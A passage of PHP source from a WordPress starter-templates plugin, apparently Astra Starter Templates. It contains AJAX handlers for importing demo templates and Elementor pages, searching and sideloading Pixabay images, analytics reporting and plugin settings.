'ultimate-addons-for-gutenberg/ultimate-addons-for-gutenberg.php' ) ) { return $modules; } // Ensure $modules is an array. $modules = is_array( $modules ) ? $modules : array(); // Update AI Design Copilot module status. $modules['ai_design_copilot'] = array( 'status' => 'enabled', ); $modules['ai_assistant'] = array( 'status' => 'enabled', ); return $modules; } /** * Set adding AI icon to WordPress menu. * * @return void */ public function add_custom_admin_css() { $icon = ASTRA_SITES_URI . 'inc/assets/images/vector-ai.svg'; ?> <style type="text/css"> .wp-submenu a[href="themes.php?page=starter-templates"]::after { content: url("<?php echo esc_url( $icon ); ?>"); position: absolute; margin-left: 5px; height: 18px; width: 18px; } a[href="themes.php?page=ai-builder"] { display: none !important; } </style> <?php } /** * Set plugin param for auth URL. * * @param array $url_param url parameters. * * @since 3.5.0 */ public function add_auth_url_param( $url_param ) { $url_param['plugin'] = 'starter-templates'; return $url_param; } /** * Get plugin status * * @since 3.5.0 * * @param string $plugin_init_file Plguin init file. * @return string */ public function get_plugin_status( $plugin_init_file ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $installed_plugins = get_plugins(); if ( ! isset( $installed_plugins[ $plugin_init_file ] ) ) { return 'not-installed'; } elseif ( is_plugin_active( $plugin_init_file ) ) { return 'active'; } else { return 'inactive'; } } /** * Add slashes while importing the XML with WordPress Importer v2. * * @param array $postdata Processed Post data. * @param array $data Post data. */ public function wp_slash_after_xml_import( $postdata, $data ) { if ( 'ai' === get_option( 'astra_sites_current_import_template_type' ) ) { return $postdata; } return wp_slash( $postdata ); } /** * Check is Starter Templates AJAX request. * * @since 2.7.0 * @return boolean */ public function is_starter_templates_request() { if ( isset( $_REQUEST['action'] ) && in_array( $_REQUEST['action'], array_keys( $this->ajax ), true ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. return true; } return false; } /** * Filters the message that the default PHP error template displays. * * @since 2.7.0 * * @param string $message HTML error message to display. * @param array $error Error information retrieved from `error_get_last()`. * @return mixed */ public function php_error_message( $message, $error ) { if ( ! $this->is_starter_templates_request() ) { return $message; } if ( empty( $error ) ) { return $message; } $message = isset( $error['message'] ) ? $error['message'] : $message; return $message; } /** * Filters an HTTP status header. * * @since 2.6.20 * * @param string $status_header HTTP status header. * @param int $code HTTP status code. * @param string $description Description for the status code. * @param string $protocol Server protocol. * * @return mixed */ public function status_header( $status_header, $code, $description, $protocol ) { if ( ! $this->is_starter_templates_request() ) { return $status_header; } $error = error_get_last(); if ( empty( $error ) ) { return $status_header; } $message = isset( $error['message'] ) ? $error['message'] : $description; return "$protocol $code $message"; } /** * Update Analytics Optin/Optout */ public function update_analytics() { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } $optin_answer = isset( $_POST['data'] ) ? sanitize_text_field( $_POST['data'] ) : 'no'; $optin_answer = 'yes' === $optin_answer ? 'yes' : 'no'; update_site_option( 'bsf_analytics_optin', $optin_answer ); wp_send_json_success(); } /** * Update Subscription */ public function update_subscription() { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } $arguments = isset( $_POST['data'] ) ? array_map( 'sanitize_text_field', json_decode( stripslashes( $_POST['data'] ), true ) ) : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Already sanitized using `array_map` and `sanitize_text_field`. // Page Builder mapping. $page_builder_mapping = array( 'Elementor' => 1, 'Beaver Builder' => 2, 'Brizy' => 3, 'Gutenberg' => 4, ); $arguments['PAGE_BUILDER'] = isset( $page_builder_mapping[ $arguments['PAGE_BUILDER'] ] ) ? $page_builder_mapping[ $arguments['PAGE_BUILDER'] ] : ''; $url = apply_filters( 'astra_sites_subscription_url', $this->api_domain . 'wp-json/starter-templates/v1/subscribe/' ); $args = array( 'timeout' => 30, 'body' => $arguments, ); $response = wp_safe_remote_post( $url, $args ); if ( ! is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) === 200 ) { $response = json_decode( wp_remote_retrieve_body( $response ), true ); // Successfully subscribed. if ( isset( $response['success'] ) && $response['success'] ) { update_user_meta( get_current_user_ID(), 'astra-sites-subscribed', 'yes' ); } } wp_send_json_success( $response ); } /** * Push Data to Search API. * * @since 2.0.0 * @param array<string, string> $response Response data object. * @param array<string, string> $data Data object. * * @return array Search response. */ public function search_push( $response, $data ) { // If we didn't receive our data, don't send any back. if ( empty( $data['ast-sites-search-terms'] ) ) { return $response; } $args = array( 'timeout' => 3, 'blocking' => true, 'sslverify' => apply_filters( 'https_local_ssl_verify', false ), 'body' => array( 'search' => $data['ast-sites-search-terms'], 'builder' => isset( $data['ast-sites-builder'] ) ? $data['ast-sites-builder'] : 'gutenberg', 'url' => esc_url( site_url() ), 'type' => 'astra-sites', ), ); $result = wp_safe_remote_post( $this->search_analytics_url, $args ); $response['ast-sites-search-terms'] = wp_remote_retrieve_body( $result ); return $response; } /** * Push Data to Import Analytics API. * * @since 3.1.4 */ public function push_to_import_analytics() { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : 0; if ( 0 === $id ) { wp_send_json_error( array( /* translators: %d is the Template ID. */ 'message' => sprintf( __( 'Invalid Template ID - %d', 'astra-sites' ), $id ), 'code' => 'Error', ) ); } $data = array( 'id' => $id, 'import_attempts' => isset( $_POST['try-again-count'] ) ? absint( $_POST['try-again-count'] ) : 0, 'import_status' => isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : 'true', 'type' => isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : 'astra-sites', 'page_builder' => isset( $_POST['page-builder'] ) ? sanitize_text_field( $_POST['page-builder'] ) : 'gutenberg', ); $result = Astra_Sites_Reporting::get_instance()->report( $data ); if ( $result['status'] ) { delete_option( 'astra_sites_has_sent_error_report' ); delete_option( 'astra_sites_cached_import_error' ); wp_send_json_success( $result['data'] ); } wp_send_json_error( $result['data'] ); } /** * Before Astra Image delete, remove from options. * * @since 2.0.0 * @param int $id ID to deleting image. * @return void */ public function delete_astra_images( $id ) { if ( ! $id ) { return; } $saved_images = get_option( 'astra-sites-saved-images', array() ); $astra_image_flag = get_post_meta( $id, 'astra-images', true ); $astra_image_flag = (int) $astra_image_flag; if ( '' !== $astra_image_flag && is_array( $saved_images ) && ! empty( $saved_images ) && in_array( $astra_image_flag, $saved_images ) ) { $flag_arr = array( $astra_image_flag ); $saved_images = array_diff( $saved_images, $flag_arr ); update_option( 'astra-sites-saved-images', $saved_images, 'no' ); } } /** * Elementor Batch Process via AJAX * * @since 2.0.0 */ public function elementor_process_import_for_page() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $type = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : ''; $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; $demo_data = get_option( 'astra_sites_import_elementor_data_' . $id, array() ); if ( 'astra-blocks' == $type ) { $api_url = trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $type . '/' . $id; } else { $api_url = $demo_data['astra-page-api-url']; } if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( __( 'Invalid API URL.', 'astra-sites' ) ); } $response = wp_safe_remote_get( $api_url ); if ( is_wp_error( $response ) ) { wp_send_json_error( wp_remote_retrieve_body( $response ) ); } $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body, true ); if ( ! isset( $data['post-meta']['_elementor_data'] ) ) { wp_send_json_error( __( 'Invalid Post Meta', 'astra-sites' ) ); } $meta = json_decode( $data['post-meta']['_elementor_data'], true ); $post_id = isset( $_POST['id'] ) ? absint( sanitize_key( $_POST['id'] ) ) : ''; if ( empty( $post_id ) || empty( $meta ) ) { wp_send_json_error( __( 'Invalid Post ID or Elementor Meta', 'astra-sites' ) ); } if ( isset( $data['astra-page-options-data'] ) && isset( $data['astra-page-options-data']['elementor_load_fa4_shim'] ) ) { update_option( 'elementor_load_fa4_shim', $data['astra-page-options-data']['elementor_load_fa4_shim'] ); } // Check flexbox container, If inactive then activate it. $flexbox_container = get_option( 'elementor_experiment-container' ); // Check if the value is 'inactive'. if ( 'inactive' === $flexbox_container ) { // Delete the option to clear the cache. delete_option( 'elementor_experiment-container' ); // Update the option to 'active' to activate the flexbox container. update_option( 'elementor_experiment-container', 'active' ); } $import = new \Elementor\TemplateLibrary\Astra_Sites_Elementor_Pages(); $import_data = $import->import( $post_id, $meta ); delete_option( 'astra_sites_import_elementor_data_' . $id ); wp_send_json_success( $import_data ); } /** * API Request * * @since 2.0.0 */ public function api_request() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $url = isset( $_POST['url'] ) ? sanitize_text_field( $_POST['url'] ) : ''; if ( empty( $url ) ) { wp_send_json_error( array( 'message' => __( 'Provided API URL is empty! Please try again!', 'astra-sites' ), 'code' => 'Error', ) ); } $api_args = apply_filters( 'astra_sites_api_params', array( 'template_status' => '', 'version' => ASTRA_SITES_VER, ) ); $api_url = add_query_arg( $api_args, trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $url ); if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( array( /* Translators: %s is API URL. */ 'message' => sprintf( __( 'Invalid API Request URL - %s', 'astra-sites' ), $api_url ), 'code' => 'Error', ) ); } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $api_args = apply_filters( 'astra_sites_api_args', array( 'timeout' => 15, ) ); $request = wp_safe_remote_get( $api_url, $api_args ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( is_wp_error( $request ) ) { $wp_error_code = $request->get_error_code(); switch ( $wp_error_code ) { case 'http_request_not_executed': /* translators: %s Error Message */ $message = sprintf( __( 'API Request could not be performed - %s', 'astra-sites' ), $request->get_error_message() ); break; case 'http_request_failed': default: /* translators: %s Error Message */ $message = sprintf( __( 'API Request has failed - %s', 'astra-sites' ), $request->get_error_message() ); break; } wp_send_json_error( array( 'message' => $request->get_error_message(), 'code' => 'WP_Error', 'response_code' => $wp_error_code, ) ); } $code = (int) wp_remote_retrieve_response_code( $request ); $demo_data = json_decode( wp_remote_retrieve_body( $request ), true ); if ( 200 === $code ) { Astra_Sites_File_System::get_instance()->update_json_file( 'astra_sites_import_data.json', $demo_data ); update_option( 'astra_sites_current_import_template_type', 'classic' ); wp_send_json_success( $demo_data ); } $message = wp_remote_retrieve_body( $request ); $response_code = $code; if ( 200 !== $code && is_array( $demo_data ) && isset( $demo_data['code'] ) ) { $message = $demo_data['message']; } if ( 500 === $code ) { $message = __( 'Internal Server Error.', 'astra-sites' ); } if ( 200 !== $code && false !== strpos( $message, 'Cloudflare' ) ) { $ip = Astra_Sites_Helper::get_client_ip(); /* translators: %s IP address. */ $message = sprintf( __( 'Client IP: %1$s </br> Error code: %2$s', 'astra-sites' ), $ip, $code ); $code = 'Cloudflare'; } wp_send_json_error( array( 'message' => $message, 'code' => $code, 'response_code' => $response_code, ) ); } /** * API Request * * @since 3.2.4 */ public function elementor_api_request() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; $type = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : ''; if ( empty( $id ) || empty( $type ) ) { wp_send_json_error( array( 'message' => __( 'Provided API details are empty! Please try again!', 'astra-sites' ), 'code' => 'Error', ) ); } $api_args = apply_filters( 'astra_sites_api_params', array( 'url' => site_url(), 'version' => ASTRA_SITES_VER, ) ); $api_url = add_query_arg( $api_args, trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $type . '/' . $id ); if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( array( /* Translators: %s is Request URL. */ 'message' => sprintf( __( 'Invalid Request URL - %s', 'astra-sites' ), $api_url ), 'code' => 'Error', ) ); } Astra_Sites_Error_Handler::get_instance()->start_error_handler(); $api_args = apply_filters( 'astra_sites_api_args', array( 'timeout' => 15, ) ); $request = wp_safe_remote_get( $api_url, $api_args ); Astra_Sites_Error_Handler::get_instance()->stop_error_handler(); if ( is_wp_error( $request ) ) { $wp_error_code = $request->get_error_code(); switch ( $wp_error_code ) { case 'http_request_not_executed': /* translators: %s Error Message */ $message = sprintf( __( 'API Request could not be performed - %s', 'astra-sites' ), $request->get_error_message() ); break; case 'http_request_failed': default: /* translators: %s Error Message */ $message = sprintf( __( 'API Request has failed - %s', 'astra-sites' ), $request->get_error_message() ); break; } wp_send_json_error( array( 'message' => $request->get_error_message(), 'code' => 'WP_Error', 'response_code' => $wp_error_code, ) ); } $code = (int) wp_remote_retrieve_response_code( $request ); $demo_data = json_decode( wp_remote_retrieve_body( $request ), true ); if ( 200 === $code ) { update_option( 'astra_sites_import_elementor_data_' . $id, $demo_data, 'no' ); wp_send_json_success( $demo_data ); } $message = wp_remote_retrieve_body( $request ); $response_code = $code; if ( 200 !== $code && is_array( $demo_data ) && isset( $demo_data['code'] ) ) { $message = $demo_data['message']; } if ( 500 === $code ) { $message = __( 'Internal Server Error.', 'astra-sites' ); } if ( 200 !== $code && false !== strpos( $message, 'Cloudflare' ) ) { $ip = Astra_Sites_Helper::get_client_ip(); /* translators: %s IP address. */ $message = sprintf( __( 'Client IP: %1$s </br> Error code: %2$s', 'astra-sites' ), $ip, $code ); $code = 'Cloudflare'; } wp_send_json_error( array( 'message' => $message, 'code' => $code, 'response_code' => $response_code, ) ); } /** * API Flush Request * * @since 3.2.4 */ public function elementor_flush_request() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; delete_option( 'astra_sites_import_elementor_data_' . $id ); wp_send_json_success(); } /** * Insert Template * * @return void */ public function insert_image_templates() { ob_start(); require_once ASTRA_SITES_DIR . 'inc/includes/image-templates.php'; ob_end_flush(); } /** * Insert Template * * @return void */ public function insert_image_templates_bb_and_brizy() { if ( class_exists( 'FLBuilderModel' ) && FLBuilderModel::is_builder_active() // BB Builder is on? || ( class_exists( 'Brizy_Editor_Post' ) && // Brizy Builder is on? ( isset( $_GET['brizy-edit'] ) || isset( $_GET['brizy-edit-iframe'] ) ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. ) ) { // Image Search Templates. ob_start(); require_once ASTRA_SITES_DIR . 'inc/includes/image-templates.php'; ob_end_flush(); } } /** * Insert Template * * @return void */ public function insert_templates() { ob_start(); require_once ASTRA_SITES_DIR . 'inc/includes/templates.php'; require_once ASTRA_SITES_DIR . 'inc/includes/image-templates.php'; ob_end_flush(); } /** * Add/Remove Favorite. * * @since 2.0.0 */ public function add_to_favorite() { if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'You are not allowed to perform this action', 'astra-sites' ); } // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); $new_favorites = array(); $site_id = isset( $_POST['site_id'] ) ? sanitize_key( $_POST['site_id'] ) : ''; if ( empty( $site_id ) ) { wp_send_json_error(); } $favorite_settings = get_option( 'astra-sites-favorites', array() ); if ( false !== $favorite_settings && is_array( $favorite_settings ) ) { $new_favorites = $favorite_settings; } $is_favorite = isset( $_POST['is_favorite'] ) ? sanitize_key( $_POST['is_favorite'] ) : ''; if ( 'false' === $is_favorite ) { if ( in_array( $site_id, $new_favorites, true ) ) { $key = array_search( $site_id, $new_favorites, true ); unset( $new_favorites[ $key ] ); } } else { if ( ! in_array( $site_id, $new_favorites, true ) ) { array_push( $new_favorites, $site_id ); } } update_option( 'astra-sites-favorites', $new_favorites, 'no' ); wp_send_json_success( array( 'all_favorites' => $new_favorites, ) ); } /** * Import Template. * * @since 2.0.0 */ public function create_template() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $id = isset( $_POST['id'] ) ? absint( $_POST['id'] ) : ''; $type = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : ''; $demo_data = get_option( 'astra_sites_import_elementor_data_' . $id, array() ); if ( 'astra-blocks' == $type ) { $url = trailingslashit( self::get_instance()->get_api_domain() ) . 'wp-json/wp/v2/' . $type . '/' . $id; } else { $url = $demo_data['astra-page-api-url']; } $api_url = add_query_arg( array( 'site_url' => site_url(), 'version' => ASTRA_SITES_VER, ), $url ); if ( ! astra_sites_is_valid_url( $api_url ) ) { wp_send_json_error( __( 'Invalid API URL.', 'astra-sites' ) ); } $response = wp_safe_remote_get( $api_url ); if ( is_wp_error( $response ) || 200 !== $response['response']['code'] ) { wp_send_json_error( wp_remote_retrieve_body( $response ) ); } $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body, true ); if ( empty( $data ) ) { wp_send_json_error( 'Empty page data.' ); } $content = isset( $data['content']['rendered'] ) ? $data['content']['rendered'] : ''; $page_id = isset( $data['id'] ) ? sanitize_text_field( $data['id'] ) : ''; $title = ''; $rendered_title = isset( $data['title']['rendered'] ) ? sanitize_text_field( $data['title']['rendered'] ) : ''; if ( isset( $rendered_title ) ) { $title = ( isset( $_POST['title'] ) && '' !== $_POST['title'] ) ? sanitize_text_field( $_POST['title'] ) . ' - ' . $rendered_title : $rendered_title; } $excerpt = isset( $data['excerpt']['rendered'] ) ? sanitize_text_field( $data['excerpt']['rendered'] ) : ''; $post_args = array( 'post_type' => 'elementor_library', 'post_status' => 'publish', 'post_title' => $title, 'post_content' => $content, 'post_excerpt' => $excerpt, ); $new_page_id = wp_insert_post( $post_args ); update_post_meta( $new_page_id, '_astra_sites_enable_for_batch', true ); $post_meta = isset( $data['post-meta'] ) ? $data['post-meta'] : array(); if ( ! empty( $post_meta ) ) { $this->import_template_meta( $new_page_id, $post_meta ); } $term_value = ( 'pages' === $type ) ? 'page' : 'section'; update_post_meta( $new_page_id, '_elementor_template_type', $term_value ); wp_set_object_terms( $new_page_id, $term_value, 'elementor_library_type' ); update_post_meta( $new_page_id, '_wp_page_template', 'elementor_header_footer' ); do_action( 'astra_sites_process_single', $new_page_id ); // Flush the object when import is successful. delete_option( 'astra_sites_import_elementor_data_' . $id ); wp_send_json_success( array( 'remove-page-id' => $page_id, 'id' => $new_page_id, 'link' => get_permalink( $new_page_id ), ) ); } /** * Search Images. * * @since 2.7.3. */ public function search_images() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'upload_files' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $params = isset( $_POST['params'] ) ? array_map( 'sanitize_text_field', $_POST['params'] ) : array(); $params['key'] = $this->pixabay_api_key; $api_url = add_query_arg( $params, $this->pixabay_url ); $response = wp_safe_remote_get( $api_url ); if ( is_wp_error( $response ) ) { wp_send_json_error( wp_remote_retrieve_body( $response ) ); } $body = wp_remote_retrieve_body( $response ); $data = json_decode( $body, true ); wp_send_json_success( $data ); } /** * Download and save the image in the media library. * * @since 2.0.0 */ public function create_image() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'upload_files' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } $url = isset( $_POST['url'] ) ? sanitize_url( $_POST['url'] ) : false; // phpcs:ignore -- We need to remove this ignore once the WPCS has released this issue fix - https://github.com/WordPress/WordPress-Coding-Standards/issues/2189. $name = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : false; $photo_id = isset( $_POST['id'] ) ? absint( sanitize_key( $_POST['id'] ) ) : 0; if ( false === $url ) { wp_send_json_error( __( 'Need to send URL of the image to be downloaded', 'astra-sites' ) ); } $image = ''; $result = array(); $name = preg_replace( '/\.[^.]+$/', '', $name ) . '-' . $photo_id . '.jpg'; $image = $this->create_image_from_url( $url, $name, $photo_id ); if ( is_wp_error( $image ) ) { wp_send_json_error( $image ); } if ( 0 !== $image ) { $result['attachmentData'] = wp_prepare_attachment_for_js( $image ); if ( did_action( 'elementor/loaded' ) ) { $result['data'] = Astra_Sites_Elementor_Images::get_instance()->get_attachment_data( $image ); } if ( 0 === $photo_id ) { /** * This flag ensures these files are deleted in the Reset Process. */ update_post_meta( $image, '_astra_sites_imported_post', true ); } } else { wp_send_json_error( __( 'Could not download the image.', 'astra-sites' ) ); } // Save downloaded image reference to an option. if ( 0 !== $photo_id ) { $saved_images = get_option( 'astra-sites-saved-images', array() ); if ( empty( $saved_images ) || false === $saved_images ) { $saved_images = array(); } $saved_images[] = $photo_id; update_option( 'astra-sites-saved-images', $saved_images, 'no' ); } $result['updated-saved-images'] = get_option( 'astra-sites-saved-images', array() ); wp_send_json_success( $result ); } /** * Set the upload directory */ public function get_wp_upload_url() { $wp_upload_dir = wp_upload_dir(); return isset( $wp_upload_dir['url'] ) ? $wp_upload_dir['url'] : false; } /** * Create the image and return the new media upload id. * * @param String $url URL to pixabay image. * @param String $name Name to pixabay image. * @param String $photo_id Photo ID to pixabay image. * @param String $description Description to pixabay image. * @see http://codex.wordpress.org/Function_Reference/wp_insert_attachment#Example */ public function create_image_from_url( $url, $name, $photo_id, $description = '' ) { require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; $file_array = array(); $file_array['name'] = wp_basename( $name ); // Download file to temp location. $file_array['tmp_name'] = download_url( $url ); // If error storing temporarily, return the error. if ( is_wp_error( $file_array['tmp_name'] ) ) { return $file_array; } // Do the validation and storage stuff. $id = media_handle_sideload( $file_array, 0, null ); // If error storing permanently, unlink. if ( is_wp_error( $id ) ) { @unlink( $file_array['tmp_name'] ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPressVIPMinimum.Functions.RestrictedFunctions.file_ops_unlink -- Deleting the file from temp location. return $id; } $alt = ( '' === $description ) ? $name : $description; // Store the original attachment source in meta. add_post_meta( $id, '_source_url', $url ); update_post_meta( $id, 'astra-images', $photo_id ); update_post_meta( $id, '_wp_attachment_image_alt', $alt ); update_post_meta( $id, '_astra_sites_imported_post', true ); return $id; } /** * Import Post Meta * * @since 2.0.0 * * @param integer $post_id Post ID. * @param array $metadata Post meta. * @return void */ public function import_post_meta( $post_id, $metadata ) { $metadata = (array) $metadata; foreach ( $metadata as $meta_key => $meta_value ) { if ( $meta_value ) { if ( '_elementor_data' === $meta_key ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); if ( is_array( $raw_data ) ) { $raw_data = wp_slash( wp_json_encode( $raw_data ) ); } else { $raw_data = wp_slash( $raw_data ); } } else { if ( is_serialized( $meta_value, true ) ) { $raw_data = maybe_unserialize( stripslashes( $meta_value ) ); } elseif ( is_array( $meta_value ) ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); } else { $raw_data = $meta_value; } } update_post_meta( $post_id, $meta_key, $raw_data ); } } } /** * Import Post Meta * * @since 2.0.0 * * @param integer $post_id Post ID. * @param array $metadata Post meta. * @return void */ public function import_template_meta( $post_id, $metadata ) { $metadata = (array) $metadata; foreach ( $metadata as $meta_key => $meta_value ) { if ( $meta_value ) { if ( '_elementor_data' === $meta_key ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); if ( is_array( $raw_data ) ) { $raw_data = wp_slash( wp_json_encode( $raw_data ) ); } else { $raw_data = wp_slash( $raw_data ); } } else { if ( is_serialized( $meta_value, true ) ) { $raw_data = maybe_unserialize( stripslashes( $meta_value ) ); } elseif ( is_array( $meta_value ) ) { $raw_data = json_decode( stripslashes( $meta_value ), true ); } else { $raw_data = $meta_value; } } update_post_meta( $post_id, $meta_key, $raw_data ); } } } /** * Close getting started notice for current user * * @since 1.3.5 * @return void */ public function getting_started_notice() { // Verify Nonce. check_ajax_referer( 'astra-sites', '_ajax_nonce' ); if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( __( 'You are not allowed to perform this action', 'astra-sites' ) ); } update_option( '_astra_sites_gettings_started', 'yes', 'no' ); wp_send_json_success(); } /** * Get theme install, active or inactive status. * * @since 1.3.2 * * @return string Theme status */ public function get_theme_status() { $theme = wp_get_theme(); // Theme installed and activate. if ( 'Astra' === $theme->name || 'Astra' === $theme->parent_theme ) { return 'installed-and-active'; } // Theme installed but not activate. foreach ( (array) wp_get_themes() as $theme_dir => $theme ) { if ( 'Astra' === $theme->name || 'Astra' === $theme->parent_theme ) { return 'installed-but-inactive'; } } return 'not-installed'; } /** * Loads textdomain for the plugin. * * @since 1.0.1 */ public function load_textdomain() { // Default languages directory. $lang_dir = ASTRA_SITES_DIR . 'languages/'; // Traditional WordPress plugin locale filter. global $wp_version; $get_locale = get_locale(); if ( $wp_version >= 4.7 ) { $get_locale = get_user_locale(); } /** * Language Locale for plugin * * @var $get_locale The locale to use. * Uses get_user_locale()` in WordPress 4.7 or greater, * otherwise uses `get_locale()`. */ $locale = apply_filters( 'plugin_locale', $get_locale, 'astra-sites' ); $mofile = sprintf( '%1$s-%2$s.mo', 'astra-sites', $locale ); // Setup paths to current locale file. $mofile_global = WP_LANG_DIR . '/plugins/' . $mofile; $mofile_local = $lang_dir . $mofile; if ( file_exists( $mofile_global ) ) { // Look in global /wp-content/languages/astra-sites/ folder. load_textdomain( 'astra-sites', $mofile_global ); } elseif ( file_exists( $mofile_local ) ) { // Look in local /wp-content/plugins/astra-sites/languages/ folder. load_textdomain( 'astra-sites', $mofile_local ); } else { // Load the default language files. load_plugin_textdomain( 'astra-sites', false, $lang_dir ); } } /** * Show action links on the plugin screen. * * @param mixed $links Plugin Action links. * @return array */ public function action_links( $links ) { $arguments = array( 'page' => 'starter-templates', ); $url = add_query_arg( $arguments, admin_url( 'themes.php' ) ); $action_links = array( 'settings' => '<a href="' . esc_url( $url ) . '" aria-label="' . esc_attr__( 'Get Started', 'astra-sites' ) . '">' . esc_html__( 'Get Started', 'astra-sites' ) . '</a>', ); return array_merge( $action_links, $links ); } /** * Get the API URL. * * @since 1.0.0 * * @return string */ public static function get_api_domain() { return defined( 'STARTER_TEMPLATES_REMOTE_URL' ) ? STARTER_TEMPLATES_REMOTE_URL : apply_filters( 'astra_sites_api_domain', 'https://websitedemos.net/' ); } /** * Setter for $api_url * * @since 1.0.0 */ public function set_api_url() { $this->api_domain = trailingslashit( self::get_api_domain() ); $this->api_url = apply_filters( 'astra_sites_api_url', $this->api_domain . 'wp-json/wp/v2/' ); $this->search_analytics_url = apply_filters( 'astra_sites_search_api_url', $this->api_domain . 'wp-json/analytics/v2/search/' ); $this->import_analytics_url = apply_filters( 'astra_sites_import_analytics_api_url', $this->api_domain . 'wp-json/analytics/v2/import/' ); $this->pixabay_url = 'https://pixabay.com/api/'; $this->pixabay_api_key = '2727911-c4d7c1031949c7e0411d7e81e'; } /** * Getter for $api_url * * @since 1.0.0 * * @return string */ public function get_api_url() { return $this->api_url; } /** * Enqueue admin scripts. * * @since 1.3.2 Added 'install-theme.js' to install and activate theme. * @since 1.0.5 Added 'getUpgradeText' and 'getUpgradeURL' localize variables. * * @since 1.0.0 * * @param string $hook Current hook name. * @return void */ public function admin_enqueue( $hook = '' ) { // Avoid scripts from customizer. if ( is_customize_preview() ) { return; } if ( 'appearance_page_starter-templates' !== $hook ) { return; } global $is_IE, $is_edge; if ( $is_IE || $is_edge ) { wp_enqueue_script( 'astra-sites-eventsource', ASTRA_SITES_URI . 'inc/assets/js/eventsource.min.js', array( 'jquery', 'wp-util', 'updates' ), ASTRA_SITES_VER, true ); } // Fetch. wp_register_script( 'astra-sites-fetch', ASTRA_SITES_URI . 'inc/assets/js/fetch.umd.js', array( 'jquery' ), ASTRA_SITES_VER, true ); // History. wp_register_script( 'astra-sites-history', ASTRA_SITES_URI . 'inc/assets/js/history.js', array( 'jquery' ), ASTRA_SITES_VER, true ); // Admin Page. wp_enqueue_style( 'astra-sites-admin', ASTRA_SITES_URI . 'inc/assets/css/admin.css', ASTRA_SITES_VER, true ); wp_set_script_translations( 'astra-sites-admin', 'astra-sites' ); wp_style_add_data( 'astra-sites-admin', 'rtl', 'replace' ); $data = $this->get_local_vars(); } /** * Get CTA link * * @param string $source The source of the link. * @param string $medium The medium of the link. * @param string $campaign The campaign of the link. * @return array */ public function get_cta_link( $source = '', $medium = '', $campaign = '' ) { $default_page_builder = Astra_Sites_Page::get_instance()->get_setting( 'page_builder' ); $cta_links = $this->get_cta_links( $source, $medium, $campaign ); return isset( $cta_links[ $default_page_builder ] ) ? $cta_links[ $default_page_builder ] : 'https://wpastra.com/starter-templates-plans/?utm_source=StarterTemplatesPlugin&utm_campaign=WPAdmin'; } /** * Get CTA Links * * @since 2.6.18 * * @param string $source The source of the link. * @param string $medium The medium of the link. * @param string $campaign The campaign of the link. * @return array */ public function get_cta_links( $source = '', $medium = '', $campaign = '' ) { return array( 'elementor' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'elementor-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 